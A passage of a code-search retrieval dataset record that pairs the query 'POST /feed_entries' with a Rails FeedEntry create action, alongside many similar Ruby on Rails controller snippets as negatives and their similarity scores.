"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def new\n @feed = Feed.find(params[:feed_id])\n @entry = @feed.entries.new\n respond_to do |format|\n format.html { render :layout => 'feed'}\n format.json { render json: @entry }\n end\n end",
"def new\n @twitterfeed = Twitterfeed.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @twitterfeed }\n end\n end",
"def new\n @feed = Feed.new\n @page_title = 'Add Feed'\n\n respond_to do |format|\n format.html\n format.xml { render :xml => @feed }\n end\n end",
"def new\n @datafeed = Datafeed.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @datafeed }\n end\n end",
"def new\n @entry = Entry.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @entry }\n end\n end",
"def new_rest\n @entry_item = EntryItem.new\n\n respond_to do |format|\n #format.html # new.html.erb\n format.xml { render :xml => @entry_item }\n end\n end",
"def new\n @entry = Entry.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @entry }\n end\n end",
"def new\n @populate_feed_info = PopulateFeedInfo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @populate_feed_info }\n end\n end",
"def new\n @feedentry = Feedentry.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @feedentry }\n end\n end",
"def new\n @feed_entry = FeedEntry.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @feed_entry }\n end\n end",
"def new\n @feed = Feed.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @feed }\n end\n end",
"def new\n @feed = Feed.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @feed }\n end\n end",
"def new\n @feed = Feed.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @feed }\n end\n end",
"def new\n @feed = Feed.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @feed }\n end\n end",
"def new\n @feed = Feed.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @feed }\n end\n end",
"def new\n @atom = Atom.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @atom }\n end\n end",
"def new\n @rssnew = Rssnews.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @rssnew }\n end\n end",
"def new\n @attachment = Attachment.new\n @entries = Entry.find(:all, :order => \"updated_at DESC\").map { |e| [e.title, e.id] }\n\n respond_to do |format|\n format.html\n format.xml { render :xml => @attachment }\n end\n end",
"def new\n @post = Post.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post }\n end\n make_rss\n end",
"def new\n @rss_feed = RssFeed.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @rss_feed }\n end\n end",
"def new\n @entry = @resource_finder.new\n initialize_new_resource\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @entry }\n end\n end",
"def new\n @entry = Entry.new\n @folders = Folder.find(:all, :order => \"updated_at DESC\").map { |f| [f.name, f.id] }\n @new = true;\n\n respond_to do |format|\n format.html { render \"edit\" }\n format.xml { render :xml => @entry }\n end\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => new_vurl }\n end\n end",
"def create\n @feed = Feed.new(params[:feed])\n\n respond_to do |format|\n if @feed.save\n flash[:notice] = 'Feed was successfully created.'\n format.html { redirect_to feed_url(@feed) }\n format.xml { head :created, :location => feed_url(@feed) }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @feed.errors.to_xml }\n end\n end\n end",
"def create\n @feed_entry = FeedEntry.new(params[:feed_entry])\n\n respond_to do |format|\n if @feed_entry.save\n flash[:notice] = 'FeedEntry was successfully created.'\n format.html { redirect_to(@feed_entry) }\n format.xml { render :xml => @feed_entry, :status => :created, :location => @feed_entry }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @feed_entry.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n @feed_element = FeedElement.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @feed_element }\n end\n end",
"def create_feed\n @feed = Feed.new(params[:feed])\n\n respond_to do |format|\n if @feed.save\n EntryFeed.create_from_feed(@feed)\n format.html { redirect_to @feed, :notice => 'Feed was successfully created.' }\n format.json { render :json => @feed, :status => :created, :location => @feed }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @feed.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n @news_update = NewsUpdate.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @news_update }\n end\n end",
"def show\n @feed = Feed.find(params[:id])\n @entries = EntryFeed.where(:feed_id => @feed.id)\n\n if @entries.blank?\n EntryFeed.create_from_feed(@feed)\n @entries = EntryFeed.where(:feed_id => @feed.id)\n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @feed }\n end\n end",
"def new\n @feed = Feed.new\n end",
"def new\n @feed = Feed.new\n end",
"def new\n @feed = Feed.new\n end",
"def new\n @journalentry = Journalentry.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @journalentry }\n end\n end",
"def new_rest\n @entry_answer = EntryAnswer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @entry_answer }\n end\n end",
"def create_feed\n end",
"def create_feed\n end",
"def create_feed\n end",
"def create_feed\n end",
"def new\n @feed_item = FeedItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @feed_item }\n end\n end",
"def new\n @journal_entry = JournalEntry.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @journal_entry }\n end\n end",
"def new\n @entry = Entry.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @entry }\n end\n end",
"def new\n @entry = Entry.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @entry }\n end\n end",
"def new\n @entry = Entry.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @entry }\n end\n end",
"def new\n @entry = Entry.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @entry }\n end\n end",
"def new\n @entry = Entry.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @entry }\n end\n end",
"def new\n @entry = Entry.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @entry }\n end\n end",
"def new\n @entry = Entry.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @entry }\n end\n end",
"def new\n @entry = Entry.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @entry }\n end\n end",
"def create\n @page_title = 'Added Feed'\n uri = params[:feed][:uri]\n #@feed = Feed.find_by_uri(uri)\n\n #if @feed.nil?\n @feed = Feed.new\n @feed.title = params[:feed][:title]\n @feed.uri = uri\n success = @feed.save\n # else\n # success = true\n # end\n \n respond_to do |format|\n if success\n flash[:notice] = 'Feed was successfully added.'\n @user.feeds << @feed\n format.html { redirect_to( user_feeds_path(@user) ) }\n format.xml { render :xml => @feed }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @feed.errors }\n end \n end\n\n end",
"def new\n @blog_entry = BlogEntry.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @blog_entry }\n end\n end",
"def new\n @url_migration = UrlMigration.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @url_migration }\n end\n end",
"def new\n @post377 = Post377.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post377 }\n end\n end",
"def new\n @post404 = Post404.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post404 }\n end\n end",
"def new\n @latestinfo = Latestinfo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @latestinfo }\n end\n end",
"def create\n url = params[:feed][:url]\n @feed = Feed.find_by_url(url) || Feed.new(url: url)\n @feed.fetch\n\n respond_to do |format|\n if @feed.save\n current_user.feeds << @feed unless current_user.feeds.include? @feed\n format.html { redirect_to @feed, notice: 'Feed was successfully added.' }\n format.json { render action: 'show', status: :created, location: @feed }\n else\n format.html { render action: 'new' }\n format.json { render json: @feed.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post }\n end\n end",
"def create\n link = params[:link]\n @feed = Feed.find_by feed_link: link\n if !@feed.nil?\n respond_to do |format|\n format.html { redirect_to @feed, notice: 'Feed already subscribed.' }\n format.json { render :show, status: :ok, location: @feed }\n end\n return\n end\n\n feed_source = FeedsHelper.fetch_feed_source(link)\n\n @feed = Feed.new\n @feed.title = feed_source.title\n @feed.description = feed_source.description\n @feed.updated = feed_source.last_modified\n\n @feed.feed_link = feed_source.feed_url #TODO check if the link found in the xml doesn't match the url\n @feed.source_link = feed_source.url\n\n respond_to do |format|\n if @feed.save\n EntriesHelper.save_from(feed_source, @feed)\n format.html { redirect_to @feed, notice: 'Feed was successfully created.' }\n format.json { render :show, status: :created, location: @feed }\n else\n format.html { render :new }\n format.json { render json: @feed.errors, status: :unprocessable_entity }\n end\n end \n end",
"def new\n @news = News.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @news }\n end\n end",
"def new\n @news = News.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @news }\n end\n end",
"def new\n @news = News.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @news }\n end\n end",
"def new\n @thing = Thing.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @thing }\n end\n end",
"def new\n @post248 = Post248.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post248 }\n end\n end",
"def new\n @thing_list = ThingList.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @thing_list }\n end\n end",
"def new\n @news_item = NewsItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @news_item }\n end\n end",
"def new\n @news_item = NewsItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @news_item }\n end\n end",
"def new\n @news_link = NewsLink.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @news_link }\n end\n end",
"def new\n @post227 = Post227.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post227 }\n end\n end",
"def new\n @entry = Entry.new\n\n respond_to do |format|\n format.html # new.html.erb\n end\n end",
"def new\n @post272 = Post272.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post272 }\n end\n end",
"def create\n @feed = Feed.find(params[:feed_id])\n @entry = @feed.entries.new(params[:entry])\n\n respond_to do |format|\n if @entry.save\n @entry.author.save\n format.html { redirect_to feed_entry_path(@feed,@entry), notice: 'Entry was successfully created.' }\n format.json { render json: feed_entry_path(@feed, @entry), status: :created, location: feed_entry_path(@feed, @entry) }\n else\n format.html { render action: \"new\" }\n format.json { render json: feed_entry_path(@feed,@entry).errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @post106 = Post106.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post106 }\n end\n end",
"def new\n @post181 = Post181.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post181 }\n end\n end",
"def new\n @scraper = Scraper.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @scraper }\n end\n end",
"def new\n @rss_source = RssSource.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @rss_source }\n end\n end",
"def new\n @tweet = Tweet.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @tweet }\n end\n end",
"def new\n @journal_entry = JournalEntry.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @journal_entry }\n format.xml { render :xml => @journal_entry }\n end\n end",
"def new\n @post197 = Post197.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post197 }\n end\n end",
"def create\n @feed = Feed.new(params[:feed])\n\n respond_to do |format|\n if @feed.save\n format.html { redirect_to @feed, notice: 'Feed was successfully created.' }\n format.json { render json: @feed, status: :created, location: @feed }\n else\n format.html { render action: \"new\" }\n format.json { render json: @feed.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n respond_to do |format|\n format.html { render_template } # new.html.erb\n format.xml { render xml: @event }\n end\n end",
"def new\n @post249 = Post249.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post249 }\n end\n end",
"def new\n @post246 = Post246.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post246 }\n end\n end",
"def new\n @post55 = Post55.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post55 }\n end\n end",
"def new\n @recipe = Recipe.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @recipe }\n end\n end",
"def create\n @populate_feed_info = PopulateFeedInfo.new(params[:populate_feed_info])\n\n respond_to do |format|\n if @populate_feed_info.save\n format.html { redirect_to(@populate_feed_info, :notice => 'PopulateFeedInfo was successfully created.') }\n format.xml { render :xml => @populate_feed_info, :status => :created, :location => @populate_feed_info }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @populate_feed_info.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def newsfeed\n check_auth :newsfeed\n \n response = connection.post do |req|\n req.url '/user/newsfeed'\n req.body = { :format => @format }\n end\n response\n end",
"def new\n @post257 = Post257.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post257 }\n end\n end",
"def new\n @feed_category = FeedCategory.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @feed_category }\n end\n end",
"def new\n @posts = Post.find(:all, :order => 'updated_at DESC')\n @post = Post.new\n @post.title = \"Überschrift*\"\n\n respond_to do |format|\n format.html { render :template => \"posts/new\" }\n format.xml { render :xml => @post }\n end\n end",
"def new\n @collection = Collection.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @collection }\n end\n end",
"def new\n @post260 = Post260.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post260 }\n end\n end",
"def new\n @ep = Ep.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @ep }\n end\n end",
"def new\n @post253 = Post253.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post253 }\n end\n end",
"def create\n @feed_entry = FeedEntry.new(params[:feed_entry])\n\n respond_to do |format|\n if @feed_entry.save\n format.html { redirect_to @feed_entry, notice: 'Feed entry was successfully created.' }\n format.json { render json: @feed_entry, status: :created, location: @feed_entry }\n else\n format.html { render action: \"new\" }\n format.json { render json: @feed_entry.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @post78 = Post78.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post78 }\n end\n end",
"def new\n @favourites = Favourites.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @favourites }\n end\n end",
"def new\n @post275 = Post275.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post275 }\n end\n end",
"def new\n @post230 = Post230.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post230 }\n end\n end",
"def new\n @news_category = NewsCategory.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @news_category }\n end\n end",
"def new\n @post149 = Post149.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post149 }\n end\n end",
"def new\n @post306 = Post306.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post306 }\n end\n end"
] |
[
"0.7611285",
"0.73625153",
"0.7323835",
"0.7213086",
"0.7202514",
"0.71984553",
"0.71972966",
"0.7179313",
"0.715861",
"0.7147235",
"0.7035788",
"0.7035788",
"0.7035788",
"0.7035788",
"0.7027598",
"0.6977427",
"0.6977197",
"0.6947543",
"0.6944234",
"0.6910501",
"0.6795124",
"0.6766574",
"0.67621595",
"0.668397",
"0.6668997",
"0.66636854",
"0.66384447",
"0.66146994",
"0.6600928",
"0.65682375",
"0.65682375",
"0.65682375",
"0.65559965",
"0.65549266",
"0.6540796",
"0.6540796",
"0.6540796",
"0.6540796",
"0.65387344",
"0.65122116",
"0.647555",
"0.647555",
"0.647555",
"0.647555",
"0.647555",
"0.647555",
"0.647555",
"0.647555",
"0.6473325",
"0.64636195",
"0.64388967",
"0.64225733",
"0.64171106",
"0.6408263",
"0.6393295",
"0.638484",
"0.6378343",
"0.6374189",
"0.6374189",
"0.6374189",
"0.6357749",
"0.63553274",
"0.63477683",
"0.6347596",
"0.6347596",
"0.6342856",
"0.6341279",
"0.63163006",
"0.6310573",
"0.6304475",
"0.63020265",
"0.63006294",
"0.6299468",
"0.6292941",
"0.629192",
"0.62887514",
"0.62698907",
"0.626287",
"0.6260781",
"0.6259882",
"0.62478983",
"0.62461483",
"0.6245391",
"0.62445337",
"0.6242357",
"0.6236052",
"0.6234756",
"0.62329787",
"0.6232655",
"0.6231252",
"0.62294096",
"0.6226778",
"0.622612",
"0.6220514",
"0.62180567",
"0.62155586",
"0.6212466",
"0.62120694",
"0.62112916",
"0.62028545"
] |
0.7042938
|
10
|
POST /feed_entries POST /feed_entries.xml
|
def create
@feed_entry = FeedEntry.new(params[:feed_entry])
respond_to do |format|
if @feed_entry.save
flash[:notice] = 'FeedEntry was successfully created.'
format.html { redirect_to(@feed_entry) }
format.xml { render :xml => @feed_entry, :status => :created, :location => @feed_entry }
else
format.html { render :action => "new" }
format.xml { render :xml => @feed_entry.errors, :status => :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def create\n @feed = Feed.find(params[:feed_id])\n @entry = @feed.entries.new(params[:entry])\n\n respond_to do |format|\n if @entry.save\n @entry.author.save\n format.html { redirect_to feed_entry_path(@feed,@entry), notice: 'Entry was successfully created.' }\n format.json { render json: feed_entry_path(@feed, @entry), status: :created, location: feed_entry_path(@feed, @entry) }\n else\n format.html { render action: \"new\" }\n format.json { render json: feed_entry_path(@feed,@entry).errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_feed\n @feed = Feed.new(params[:feed])\n\n respond_to do |format|\n if @feed.save\n EntryFeed.create_from_feed(@feed)\n format.html { redirect_to @feed, :notice => 'Feed was successfully created.' }\n format.json { render :json => @feed, :status => :created, :location => @feed }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @feed.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def entries_to_http entries, url, http = Atom::HTTP.new\n coll = Atom::Collection.new url, http\n\n entries.each { |entry| coll.post! entry }\n end",
"def create\n @feed_entry = FeedEntry.new(feed_entry_params)\n\n respond_to do |format|\n if @feed_entry.save\n format.html { redirect_to @feed_entry, notice: 'Feed entry was successfully created.' }\n format.json { render :show, status: :created, location: @feed_entry }\n else\n format.html { render :new }\n format.json { render json: @feed_entry.errors, status: :unprocessable_entity }\n end\n end\n end",
"def add_entries(entries, entry_id)\n entries.each do |entry|\n data = ::RssFeedDatum.where(url: entry.url).first_or_create(rss_feed_keyword_id: entry_id, guid: entry.id, name: entry.title, published_at: entry.published, blurb: get_html_content(\"#{entry.url}\"))\n end\n end",
"def save\n self.client.api_post(\"/feed\", self.create_params)\n end",
"def create\n @feed_entry = FeedEntry.new(params[:feed_entry])\n\n respond_to do |format|\n if @feed_entry.save\n format.html { redirect_to @feed_entry, notice: 'Feed entry was successfully created.' }\n format.json { render json: @feed_entry, status: :created, location: @feed_entry }\n else\n format.html { render action: \"new\" }\n format.json { render json: @feed_entry.errors, status: :unprocessable_entity }\n end\n end\n end",
"def xml_feed_entries(feed_url, locale, offset)\r\n p \"Feed #{feed_url}\"\r\n doc = Nokogiri::XML(open(feed_url))\r\n doc.xpath(\"//item\").count.times do |n|\r\n \r\n # process dates\r\n sdt = DateTime.parse(doc.xpath(\"//item//xCal:dtstart\")[n].text) rescue nil\r\n edt = doc.xpath(\"//item//xCal:dtend\")[n].text\r\n edt.blank? ? enddt = sdt.advance(:hours => 2) : enddt = DateTime.parse(edt)\r\n \r\n # get event title and url\r\n etitle = doc.xpath(\"//item//title\")[n].text.split(' at ')[0]\r\n url = doc.xpath(\"//item//link\")[n].text \r\n sid = doc.xpath(\"//item//id\")[n].text \r\n\r\n # get county based on coordinates\r\n lat = doc.xpath(\"//item//geo:lat\")[n].text\r\n lng = doc.xpath(\"//item//geo:long\")[n].text\r\n county = Schedule.chk_geocode(lat, lng) rescue nil\r\n \r\n # add only current events \r\n if sdt >= Date.today\r\n \r\n # find correct channel and location\r\n cid = LocalChannel.select_channel(etitle, county, locale).flatten 1\r\n# cid.map {|channel| p \"Channel: #{channel.channelID}\" }\r\n\r\n # add event to calendar\r\n cid.map {|channel| add_event(doc, n, sid, etitle[0..199], sdt, enddt, channel.channelID, url, offset)} if cid\r\n# add_event(doc, n, sid, etitle[0..199], sdt, enddt, cid[0].channelID, url, offset) if cid\r\n end\r\n end \r\n end",
"def create\n @feedentry = Feedentry.new(params[:feedentry])\n\n respond_to do |format|\n if @feedentry.save\n format.html { redirect_to @feedentry, notice: 'Feedentry was successfully created.' }\n format.json { render json: @feedentry, status: :created, location: @feedentry }\n else\n format.html { render action: \"new\" }\n format.json { render json: @feedentry.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_feed\n end",
"def create_feed\n end",
"def create_feed\n end",
"def create_feed\n end",
"def show\n @feed = Feed.find(params[:id])\n @entries = EntryFeed.where(:feed_id => @feed.id)\n\n if @entries.blank?\n EntryFeed.create_from_feed(@feed)\n @entries = EntryFeed.where(:feed_id => @feed.id)\n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @feed }\n end\n end",
"def new\n @feed = Feed.find(params[:feed_id])\n @entry = @feed.entries.new\n respond_to do |format|\n format.html { render :layout => 'feed'}\n format.json { render json: @entry }\n end\n end",
"def create\n @feed = Feed.new(feed_params)\n\n respond_to do |format|\n if @feed.save\n parse_entries\n format.html { \n redirect_to @feed\n flash[:success] = 'Feed was successfully created.' \n }\n format.js {}\n format.json { render :show, status: :created, location: @feed }\n else\n format.html { render :new }\n format.json { render json: @feed.errors, status: :unprocessable_entity }\n end\n end\n \n end",
"def create\n @entry = current_user.entries.build(entry_params)\n if @entry.save\n flash[:success] = \"Entry created!\"\n redirect_to root_url\n else\n @feed_items = []\n render 'static_pages/home'\n end\n end",
"def entries\n nodes = @doc.xpath(\"atom:feed/atom:entry\", ::AtomFeed::NS) || []\n nodes.map { |node| AtomFeedEntry.new(node) }\n end",
"def create\n logger.info \"Creating Entry\"\n @entry = Entry.new(params[:entry])\n logger.info \"Entry Created\"\n\n respond_to do |format|\n if @entry.save\n format.html { redirect_to(entries_url, :notice => 'Entry was successfully created.') }\n format.xml { render :xml => @entry, :status => :created, :location => @entry }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @entry.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def index\n #body, ok = SuperfeedrEngine::Engine.retrieve(Feed.first) \n @entries = Entry.all\n end",
"def entry_params\n params.require(:entry).permit(:feed_id, :atom_id, :title, :url, :content)\n end",
"def entries\n if @entries.nil?\n raw_entries = FeedTools::XmlHelper.select_not_blank([\n FeedTools::XmlHelper.try_xpaths_all(self.channel_node, [\n \"atom10:entry\",\n \"atom03:entry\",\n \"atom:entry\",\n \"entry\"\n ]),\n FeedTools::XmlHelper.try_xpaths_all(self.root_node, [\n \"rss10:item\",\n \"rss11:items/rss11:item\",\n \"rss11:items/item\",\n \"items/rss11:item\",\n \"items/item\",\n \"item\",\n \"atom10:entry\",\n \"atom03:entry\",\n \"atom:entry\",\n \"entry\",\n \"story\"\n ]),\n FeedTools::XmlHelper.try_xpaths_all(self.channel_node, [\n \"rss10:item\",\n \"rss11:items/rss11:item\",\n \"rss11:items/item\",\n \"items/rss11:item\",\n \"items/item\",\n \"item\",\n \"story\"\n ])\n ])\n\n # create the individual feed items\n @entries = []\n unless raw_entries.blank?\n for entry_node in raw_entries.reverse\n new_entry = FeedItem.new\n new_entry.feed_data = entry_node.to_s\n new_entry.feed_data_type = self.feed_data_type\n new_entry.root_node = entry_node\n if new_entry.root_node.namespace.blank?\n new_entry.root_node.add_namespace(self.root_node.namespace)\n end\n @entries << new_entry\n end\n end\n end\n \n # Sort the items\n if self.configurations[:entry_sorting_property] == \"time\"\n @entries = @entries.sort do |a, b|\n (b.time or Time.utc(1970)) <=> (a.time or Time.utc(1970))\n end\n elsif self.configurations[:entry_sorting_property] != nil\n sorting_property = self.configurations[:entry_sorting_property]\n @entries = @entries.sort do |a, b|\n eval(\"a.#{sorting_property}\") <=> eval(\"b.#{sorting_property}\")\n end\n else\n return @entries.reverse\n end\n return @entries\n end",
"def index\n @feed_entries = FeedEntry.all\n end",
"def create\n @feed = Feed.new(params[:feed])\n\n respond_to do |format|\n if @feed.save\n flash[:notice] = 'Feed was successfully created.'\n format.html { redirect_to feed_url(@feed) }\n format.xml { head :created, :location => feed_url(@feed) }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @feed.errors.to_xml }\n end\n end\n end",
"def create(params)\n\nxml =<<XML\n<entry xmlns=\"http://purl.org/atom/ns#\">\n <title>#{params[:title]}</title>\n <link rel=\"related\" type=\"text/html\" href=\"#{params[:url]}\" />\n <summary type=\"text/plain\">#{params[:comment]}</summary>\n</entry>\nXML\n\n post('/post', xml)\n end",
"def create\n @entry = Entry.new(params[:entry])\n\n respond_to do |format|\n if @entry.save\n flash[:notice] = 'Entry was successfully created.'\n format.html { redirect_to(@entry) }\n format.xml { render :xml => @entry, :status => :created, :location => @entry }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @entry.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @entry = Entry.new(params[:entry])\n\n respond_to do |format|\n if @entry.save\n format.html { redirect_to(@entry, :notice => 'Entry was successfully created.') }\n format.xml { render :xml => @entry, :status => :created, :location => @entry }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @entry.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create_entries(opts = {})\n data, _status_code, _headers = create_entries_with_http_info(opts)\n data\n end",
"def add_entries(feed_entries)\n guids = entries.map(&:guid)\n feed_entries.reject {|e| guids.include? e.id}.each do |entry|\n entry.sanitize!\n entries.add(entry)\n end\n end",
"def create\n link = params[:link]\n @feed = Feed.find_by feed_link: link\n if !@feed.nil?\n respond_to do |format|\n format.html { redirect_to @feed, notice: 'Feed already subscribed.' }\n format.json { render :show, status: :ok, location: @feed }\n end\n return\n end\n\n feed_source = FeedsHelper.fetch_feed_source(link)\n\n @feed = Feed.new\n @feed.title = feed_source.title\n @feed.description = feed_source.description\n @feed.updated = feed_source.last_modified\n\n @feed.feed_link = feed_source.feed_url #TODO check if the link found in the xml doesn't match the url\n @feed.source_link = feed_source.url\n\n respond_to do |format|\n if @feed.save\n EntriesHelper.save_from(feed_source, @feed)\n format.html { redirect_to @feed, notice: 'Feed was successfully created.' }\n format.json { render :show, status: :created, location: @feed }\n else\n format.html { render :new }\n format.json { render json: @feed.errors, status: :unprocessable_entity }\n end\n end \n end",
"def newsfeed\n check_auth :newsfeed\n \n response = connection.post do |req|\n req.url '/user/newsfeed'\n req.body = { :format => @format }\n end\n response\n end",
"def fetch_and_save_entries\n create_entries_from(parse_feed_content)\n rescue => e\n raise unless Rails.env.production?\n\n Rails.logger.error e\n end",
"def feed_entry_params\n params.require(:feed_entry).permit(:feed_id, :title, :url, :published_at, :image_url, :summary, :original_id)\n end",
"def judging_feed \n challenges = CsApi::Judging.queue(current_access_token)\n\n @feed_items = Array.new \n @feed_title = 'CloudSpokes Judging Queue'\n\n unless challenges.nil? \n challenges.each do |challenge|\n entry = AtomEntryJudging.new(:id => challenge['id'], :title => challenge['name'], :end_date => challenge['end_date'], \n :due_date => challenge['winner_announced'], :categories => challenge['challenge_categories__r'])\n @feed_items.push(entry)\n end\n end\n\n respond_to do |format|\n format.atom { render :layout => false }\n # we want the RSS feed to redirect permanently to the ATOM feed\n format.rss { redirect_to judging_feed_path(:format => :atom), :status => :moved_permanently }\n end\n\n end",
"def index\n @feed_entries = FeedEntry.all\n @title = \"Feeds List\"\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @feed_entries }\n end\n end",
"def create_rest\n @entry_item = EntryItem.new(params[:entry_item])\n\n respond_to do |format|\n if @entry_item.save\n flash[:notice] = 'EntryItem was successfully created.'\n #format.html { redirect_to(@entry_item) }\n format.xml { render :xml => @entry_item, :status => :created, :location => @entry_item }\n else\n #format.html { render :action => \"new\" }\n format.xml { render :xml => @entry_item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @page_title = 'Added Feed'\n uri = params[:feed][:uri]\n #@feed = Feed.find_by_uri(uri)\n\n #if @feed.nil?\n @feed = Feed.new\n @feed.title = params[:feed][:title]\n @feed.uri = uri\n success = @feed.save\n # else\n # success = true\n # end\n \n respond_to do |format|\n if success\n flash[:notice] = 'Feed was successfully added.'\n @user.feeds << @feed\n format.html { redirect_to( user_feeds_path(@user) ) }\n format.xml { render :xml => @feed }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @feed.errors }\n end \n end\n\n end",
"def entry_params\n params.require(:entry).permit(:title, :url, :content, :image, :feed_id)\n end",
